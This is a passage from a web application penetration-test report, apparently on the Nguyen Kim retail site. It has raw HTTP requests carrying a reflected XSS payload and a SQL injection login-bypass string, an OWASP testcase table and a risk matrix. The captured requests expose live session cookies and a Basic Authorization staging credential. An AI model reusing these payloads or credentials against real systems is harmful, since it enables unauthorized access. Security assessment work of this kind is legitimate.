nkcarttime=1621400740; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=ZX-H2V9MWVY5MXMwb2V1ZXd2VlpnMDd1cnE0MHJmcXhqMkdrVSUyQndiNWZab3B6c0VvR3RWczZTUnNGU1d2UUV3a1A1Sk9uJTJGUlo3b3lZNmclMkZqZ2R0ZXJISVd1aWZaSUxOREZTb0E0Q09PR04yd0xkU0QzbXlGTmlrdWNnTkF4MnZNcFVoejhmRGZlU2lzREs1NzJsa0I0TSUyQjl1UTFyVkx4QlhWSk5wYVlVRUNuc2ljQXV0Tlk3NTU2MTRjRlpFVUZlVE9selpZRTJGYSUyQmlsNWk4WWFoSk1oc25ndyUzRCUzRA; nkcart=2; gr\_rt=17982ec8c2d-a3443b6d74673b0d; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 87 Origin: https://staging2.nguyenkimmall.com Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Referer: https://staging2.nguyenkimmall.com/dashboard/login.php Upgrade-Insecure-Requests: 1 Te: trailers Connection: close  name=kietna%40hpt.vn\"><img+src=x+onerror=alert(1);>&pass[]=aa'+or+1=1--+-&rememberme=on"" |
| **Response 1:**  ""HTTP/1.1 200 OK Server: nginx Date: Wed, 19 May 2021 05:39:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2952 Connection: close X-Powered-By: PHP/7.0.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \* Access-Control-Allow-Origin: \*    <input type="email" id="inputUsername" class="form-control" placeholder="Username" required autofocus  name="name"  value="kietna@hpt.vn"><img src=x onerror=alert(1);>" />" |
| **Image-2021-05-19 12:42:37:**  "N/A" |
| **Request 1:**  ""POST /index.php?dispatch=auth.recover\_password HTTP/2 Host: www.nguyenkim.com Cookie: \_utm\_objs=; \_pk\_id.554926188.973b=376340701.1621399326.2.1621412347.1621410825.; \_ac\_client\_id=376340701.1621399326; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzjzqzrzkzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznzizhzhzgzmzdzhzdzizlzhziznzizhzgznzkzdzizlzhziznzizhzgznzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; sid\_customer\_5120c=76cc919a9816115bc171701c3bf91803-C; mp\_skin=desktop; SRVID=w7|YKTJ+|YKSXF; \_asm\_uid=376340701; \_ga=GA1.2.169703168.1621399331; \_gid=GA1.2.255185360.1621399331; \_\_zi=2000.SSZzejyD5ja-a\_QhmHqUcJQLzgUEK0FNE8sq-vnQ7SLwdwBfamGMm3\_HfkgQ3nN1FvIXwvb25yuqbg7YDZWm.1; \_fbp=fb.1.1621399336880.972473971; gr\_reco=17982ee7d6a-3f2e617176a790ff; adpopup\_NK\_POPUP\_DESKTOP\_cfcd208495d565ef66e7dff9f98764da=0; adpopup\_NK\_POPUP\_MOBILE\_cfcd208495d565ef66e7dff9f98764da=0; cto\_bundle=6RiA-l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnE1OFN3YjZORzZDV0VxVkpsSU90SlZqU0tjd1RWWTglMkJFWFExa1ZUcE1qNHJodFB1WndlZzdCM1VvdlVzaEc4SzFsUlFSUGFrJTJCWld3WERiMmtOTEdaaHRJdiUyQlklMkZqSFFnampPQXZYYkFhOXI5NjFIJTJCbTBaS0JmVVJEckxyMDUlMkJWb2glMkJ5RUtoSWlUNkpIZVdVdzI2NmN6eklSbThib3dkbDVwaGQlMkYzZ0dkNFJw; \_hjTLDTest=1; \_hjid=ea16f0ac-1e83-46ca-9e1e-95b598f8bc6e; fpsend=150130; \_pk\_ses.554926188.973b=\*; \_hjAbsoluteSessionInProgress=0; gr\_rt=17982ee7d6a-3f2e617176a790ff; login\_false=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: application/json, text/javascript, \*/\*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 101 Origin: https://www.nguyenkim.com Referer: https://www.nguyenkim.com/login.html Te: trailers Connection: close  user\_email=kietna%40hpt.vn&security\_hash=8162e8d9bcafbd972569c504076a6107&result\_ids=save-p&is\_ajax=1"" |
| **Response 1:**  ""HTTP/2 200 OK Date: Wed, 19 May 2021 08:20:29 GMT Content-Type: application/json; charset=utf-8 Vary: Accept-Encoding Set-Cookie: sid\_customer\_5120c=76cc919a9816115bc171701c3bf91803-C; expires=Wed, 02-Jun-2021 08:20:35 GMT; Max-Age=1209600; path=/; domain=.nguyenkim.com; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: mp\_skin=desktop; path=/ Set-Cookie: nkmkey=6a0c57a76500925fc3676e697aca892a; expires=Wed, 19-May-2021 20:20:36 GMT; Max-Age=43200; path=/ Set-Cookie: message\_6a0c57a76500925fc3676e697aca892a=%7B%22type%22%3A%22N%22%2C%22title%22%3A%22Th%5Cu00f4ng+tin%22%2C%22message%22%3A%22M%5Cu1ed9t+email+h%5Cu01b0%5Cu1edbng+d%5Cu1eabn+l%5Cu1ea5y+l%5Cu1ea1i+m%5Cu1eadt+kh%5Cu1ea9u+%5Cu0111%5Cu00e3+%5Cu0111%5Cu01b0%5Cu1ee3c+g%5Cu1eedi+%5Cu0111%5Cu1ebfn+h%5Cu00f2m+th%5Cu01b0+c%5Cu1ee7a+b%5Cu1ea1n.%22%2C%22message\_state%22%3A%22I%22%7D; expires=Wed, 19-May-2021 20:20:36 GMT; Max-Age=43200; path=/ Access-Control-Allow-Origin: \* Set-Cookie: SRVID=w7|YKTKU|YKSXF; path=/ Server: NguyenKim   {"current\_url":"https:\/\/www.nguyenkim.com\/","notifications":[{"type":"S","title":"Thành công","message":"Đường dẫn thay đổi mật khẩu được gửi vào email của bạn!","message\_state":"","new":true,"extra":"","init\_message":false}]}" |
| **Image-2021-05-19 15:23:41:**  "N/A" |

## LOW RISK FINDINGS

### [[Low.Vuln.Name\_Vuln]]

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[Low.Vuln.Category\_Vuln]] | | |
| **DESCRIPTION** | [[Low.Vuln.Description\_Vuln]] | | |
| **SEVERITY** | **[[Low.Vuln.Risk\_Vuln]]** | | |
| **IMPACT** | **[[Low.Vuln.Affect\_Vuln]]** | **LIKELIHOOD** | **[[Low.Vuln.Available\_Vuln]]** |
| **RECOMMENDATION** | [[Low.Vuln.Suggest\_Vuln]] | | |
| **REFERENCE** | [[Low.Vuln.Reference\_Vuln]] | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | [[Low.Vuln.Name\_Function]] | | |
| **AFFECTED URL** | [[Low.Vuln.Url]] | | |
| **PARAMETER** | [[Low.Vuln.Parameter]] | | |
| **CONDITION** | [[Low.Vuln.Condition]] | | |

|  |
| --- |
| **[[LowVulnDetails.Name]]:**  [[LowVulnDetails.Data]]  [[LowVulnDetails.image-Image]:from-resource:maxSize(15)] |

# APPENDIX A: ASSESSMENT INFORMATION

## LIST OF IP DOING ASSESSMENT

|  |  |  |
| --- | --- | --- |
| ID | TIMELINE | IP ADDRESS |
| 1 | [[Project.time]:unprocessed] | 101.99.33.201 |
| 2 | [[Project.time]] | 115.165.164.30 |

## LIST OF TOOLS

|  |  |  |
| --- | --- | --- |
| No. | CATEGORY | TOOLS |
| 1 | Open-Source tools | Nmap, Firefox addons, Grabber, Zed, Sqlmap, WebScarab, Wireshark and other tool in Kali Linux (advanced penetration testing platform) |
| Framework scanner: Microsoft ASP.NET |
| Software: notepad++, sublime, python, RDP, putty |
| 2 | Commercial tools | Burpsuite – Proxy for application scanning, analyzing and modifying requests, responses |
| Nessus - Vulnerability scanner for servers, databases, applications and network devices |
| 3 | Self-developed tools (HPT) | HPT Scanner & Tool - Analyzing application structure - Enumerate application components (functions, url, parameters, …) - Password dictionary and signs of critical vulnerabilities, for example XSS, SQL based on errors  - Sensitive components detection (GHDB, Module, keyword, parameters, contents, email, notes, backup data, …) - Customized exploit for critical vulnerabilities: SQL Injection, XSS, Heartbleed, XPath, XXE, File Upload, File Inclusion, OS Command Injection, … and others vulnerabilities in and out of OWASP Top 10  - Customization support for web service |

## LIST OF OWASP TESTCASES

|  |  |  |
| --- | --- | --- |
| CATEGORY | TESTCASE | RESULT |
| Information Gathering | Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) | Pass |
| Fingerprint Web Server (OTG-INFO-002) | Pass |
| Review Webserver Metafiles for Information Leakage (OTG-INFO-003) | Pass |
| Enumerate Applications on Webserver (OTG-INFO-004) | Pass |
| Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) | Pass |
| Identify application entry points (OTG-INFO-006) | Pass |
| Map execution paths through application (OTG-INFO-007) | Pass |
| Fingerprint Web Application Framework (OTG-INFO-008) | Pass |
| Fingerprint Web Application (OTG-INFO-009) | Pass |
| Map Application Architecture (OTG-INFO-010) | Pass |
| Configuration and Deployment Management Testing | Test Network/Infrastructure Configuration (OTG-CONFIG-001) | Pass |
| Test Application Platform Configuration (OTG-CONFIG-002) | Pass |
| Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) | Pass |
| Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) | Pass |
| Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) | Pass |
| Test HTTP Methods (OTG-CONFIG-006) | Pass |
| Test HTTP Strict Transport Security (OTG-CONFIG-007) | Pass |
| Test RIA cross domain policy (OTG-CONFIG-008) | Pass |
| Identity Management Testing | Test Role Definitions (OTG-IDENT-001) | Pass |
| Test User Registration Process (OTG-IDENT-002) | Pass |
| Test Account Provisioning Process (OTG-IDENT-003) | Pass |
| Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) | Pass |
| Testing for Weak or Unenforced Username Policy (OTG-IDENT-005) | Pass |
| Authentication Testing | Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001) | Pass |
| Testing for Default Credentials (OTG-AUTHN-002) | Pass |
| Testing for Weak Lock Out Mechanism (OTG-AUTHN-003) | Pass |
| Testing for Bypassing Authentication Schema (OTG-AUTHN-004) | Pass |
| Test Remember Password Functionality (OTG-AUTHN-005) | Pass |
| Testing for Browser Cache Weakness (OTG-AUTHN-006) | Pass |
| Testing for Weak Password Policy (OTG-AUTHN-007) | Pass |
| Testing for Weak Security Question/Answer (OTG-AUTHN-008) | Pass |
| Testing for Weak Password Change or Reset Functionalities (OTG-AUTHN-009) | Pass |
| Testing for Weaker Authentication in Alternative Channel (OTG-AUTHN-010) | Pass |
| Authorization Testing | Testing Directory Traversal/File Include (OTG-AUTHZ-001) | Pass |
| Testing for Bypassing Authorization Schema (OTG-AUTHZ-002) | Pass |
| Testing for Privilege Escalation (OTG-AUTHZ-003) | Pass |
| Testing for Insecure Direct Object References (OTG-AUTHZ-004) | Pass |
| Session Management Testing | Testing for Bypassing Session Management Schema (OTG-SESS-001) | Pass |
| Testing for Cookies Attributes (OTG-SESS-002) | Pass |
| Testing for Session Fixation (OTG-SESS-003) | Pass |
| Testing for Exposed Session Variables (OTG-SESS-004) | Pass |
| Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005) | Pass |
| Testing for Logout Functionality (OTG-SESS-006) | Pass |
| Test Session Timeout (OTG-SESS-007) | Pass |
| Testing for Session Puzzling (OTG-SESS-008) | Pass |
| Input Validation Testing | Testing for Reflected Cross Site Scripting (OTG-INPVAL-001) | **Fail** |
| Testing for Stored Cross Site Scripting (OTG-INPVAL-002) | Pass |
| Testing for HTTP Verb Tampering (OTG-INPVAL-003) | Pass |
| Testing for HTTP Parameter Pollution (OTG-INPVAL-004) | Pass |
| Testing for SQL Injection (OTG-INPVAL-005) | Pass |
| Oracle Testing | Pass |
| MySQL Testing | Pass |
| SQL Server Testing | Pass |
| Testing PostgreSQL (from OWASP BSP) | Pass |
| MS Access Testing | Pass |
| Testing for NoSQL injection | Pass |
| Testing for LDAP Injection (OTG-INPVAL-006) | Pass |
| Testing for ORM Injection (OTG-INPVAL-007) | Pass |
| Testing for XML Injection (OTG-INPVAL-008) | Pass |
| Testing for SSI Injection (OTG-INPVAL-009) | Pass |
| Testing for XPath Injection (OTG-INPVAL-010) | Pass |
| IMAP/SMTP Injection (OTG-INPVAL-011) | Pass |
| Testing for Code Injection (OTG-INPVAL-012) | Pass |
| Testing for Local File Inclusion | Pass |
| Testing for Remote File Inclusion | Pass |
| Testing for Command Injection (OTG-INPVAL-013) | Pass |
| Testing for Buffer overflow (OTG-INPVAL-014) | Pass |
| Testing for Heap overflow | Pass |
| Testing for Stack overflow | Pass |
| Testing for Format string | Pass |
| Testing for Incubated Vulnerabilities (OTG-INPVAL-015) | Pass |
| Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016) | Pass |
| Testing for HTTP Incoming Requests (OTG-INPVAL-017) | Pass |
| Testing for Error Handling | Analysis of Error Codes (OTG-ERR-001) | Pass |
| Analysis of Stack Traces (OTG-ERR-002) | Pass |
| Testing for Weak Cryptography | Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001) | Pass |
| Testing for Padding Oracle (OTG-CRYPST-002) | Pass |
| Testing for Sensitive Information Sent via Unencrypted Channels (OTG-CRYPST-003) | Pass |
| Business Logic Testing | Test Business Logic Data Validation (OTG-BUSLOGIC-001) | Pass |
| Test Ability to Forge Requests (OTG-BUSLOGIC-002) | Pass |
| Test Integrity Checks (OTG-BUSLOGIC-003) | Pass |
| Test for Process Timing (OTG-BUSLOGIC-004) | Pass |
| Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005) | Pass |
| Testing for the Circumvention of Workflows (OTG-BUSLOGIC-006) | Pass |
| Test Defenses Against Application Misuse (OTG-BUSLOGIC-007) | Pass |
| Test Upload of Unexpected File Types (OTG-BUSLOGIC-008) | **Fail** |
| Test Upload of Malicious Files (OTG-BUSLOGIC-009) | Pass |
| Client Side Testing | Testing for DOM based Cross Site Scripting (OTG-CLIENT-001) | Pass |
| Testing for JavaScript Execution (OTG-CLIENT-002) | Pass |
| Testing for HTML Injection (OTG-CLIENT-003) | Pass |
| Testing for Client Side URL Redirect (OTG-CLIENT-004) | Pass |
| Testing for CSS Injection (OTG-CLIENT-005) | Pass |
| Testing for Client Side Resource Manipulation (OTG-CLIENT-006) | Pass |
| Test Cross Origin Resource Sharing (OTG-CLIENT-007) | Pass |
| Testing for Cross Site Flashing (OTG-CLIENT-008) | Pass |
| Testing for Clickjacking (OTG-CLIENT-009) | Pass |
| Testing Web Sockets (OTG-CLIENT-010) | Pass |
| Test Web Messaging (OTG-CLIENT-011) | Pass |
| Test Local Storage (OTG-CLIENT-012) | Pass |

# APPENDIX B: RISK CLASSIFICATION

Each risk and possible threat is assigned a severity level base on the OWASP Risk Rating Methodology

The OWASP approach presented here is based on these standard methodologies and is customized for application security.

The standard risk model:

**Risk = Likelihood \* Impact**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **OVERALL RISK SEVERITY** | | | | |
| **IMPACT** | **HIGH** | Medium | High | Critical |
| **MEDIUM** | Low | Medium | High |
| **LOW** | Note | Low | Medium |
|  | **LOW** | **MEDIUM** | **HIGH** |
|  | **LIKELIHOOD** | | | |

For the detail of the rating method, please refer at:

<https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology>